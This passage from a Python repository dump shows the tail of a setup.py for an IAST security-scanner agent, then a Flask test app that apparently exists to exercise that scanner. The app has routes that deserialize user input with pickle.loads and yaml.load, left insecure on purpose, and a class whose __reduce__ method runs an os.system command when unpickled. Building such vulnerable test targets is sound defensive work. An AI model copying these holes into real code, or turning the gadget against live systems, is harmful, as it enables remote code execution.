19 | # install_requires=['requests>=2.25.1'],
20 | classifiers=[ # https://gist.github.com/nazrulworld/3800c84e28dc464b2b30cec8bc1287fc
21 | "Programming Language :: Python :: 3.11",
22 | "License :: OSI Approved :: MIT License",
23 | "Operating System :: OS Independent",
24 | ],
25 | keywords="iast security scanner ",
26 | project_urls={"GitVerse": "https://gitverse.ru/l1ghth4t/immunity-python-agent"},
27 | python_requires=">=3.9",
28 | )
29 |
--------------------------------------------------------------------------------
/test_flask.py:
--------------------------------------------------------------------------------
1 | import flask
2 | from flask import jsonify, request
3 | import pickle
4 | import yaml
5 | from immunity_agent.middlewares.flask_middleware import ImmunityFlaskMiddleware
6 |
7 | app = flask.Flask(__name__)
8 | app.wsgi_app = ImmunityFlaskMiddleware(app.wsgi_app, app)
9 |
10 | users = [
11 | {"id": 1, "name": "Иван Иванов", "email": "ivan@example.com"},
12 | {"id": 2, "name": "Петр Петров", "email": "petr@example.com"},
13 | ]
14 |
15 | next_id = len(users) + 1
16 |
17 |
18 | @app.route("/users", methods=["GET"])
19 | def get_users():
20 | return jsonify(users)
21 |
22 |
23 | @app.route("/users", methods=["POST"])
24 | def create_user():
25 | global next_id
26 | data = request.json
27 | new_user = {"id": next_id, "name": data["name"], "email": data["email"]}
28 | users.append(new_user)
29 | next_id += 1
30 | return jsonify(new_user), 201
31 |
32 |
33 | @app.route("/users/", methods=["PUT"])
34 | def update_user(id):
35 | found_user = None
36 | for user in users:
37 | if user["id"] == id:
38 | found_user = user
39 | break
40 |
41 | if not found_user:
42 | return jsonify({"error": "User not found"}), 404
43 |
44 | data = request.json
45 | found_user.update(data)
46 | return jsonify(found_user)
47 |
48 |
49 | @app.route("/users/", methods=["DELETE"])
50 | def delete_user(id):
51 | found_index = None
52 | for i, user in enumerate(users):
53 | if user["id"] == id:
54 | found_index = i
55 | break
56 |
57 | if found_index is None:
58 | return jsonify({"error": "User not found"}), 404
59 |
60 | del users[found_index]
61 | return "", 204
62 |
63 | @app.route('/deserialize/1/', methods=['POST'])
64 | def vulnerable_route_1():
65 | data = request.form['data'].encode()
66 |
67 | # Проверяем длину данных
68 | if len(data) == 0:
69 | return "No data provided."
70 |
71 | # Десериализуем данные с помощью pickle
72 | try:
73 | deserialized_data = pickle.loads(data)
74 | except EOFError:
75 | return "Invalid or incomplete data."
76 |
77 | return f'Deserialized data: {deserialized_data}'
78 |
79 | @app.route('/deserialize/2/', methods=['POST'])
80 | def vulnerable_route_2():
81 | data = request.form['data']
82 | # Десериализуем данные с помощью yaml
83 | deserialized_data = yaml.load(data, Loader=yaml.FullLoader)
84 | return f'Deserialized data: {deserialized_data}'
85 |
86 | class VulnerableObject:
87 | def __reduce__(self):
88 | return (eval, ("__import__('os').system('ls')",))
89 |
90 | @app.route('/deserialize/3/', methods=['POST'])
91 | def vulnerable_route_3():
92 | data = request.form['data']
93 | try:
94 | deserialized_data = pickle.loads(data.encode())
95 | return f'Deserialized object: {deserialized_data}'
96 | except Exception as e:
97 | return f'Error: {e}'
98 |
99 | if __name__ == "__main__":
100 | app.run(debug=True)
101 |
--------------------------------------------------------------------------------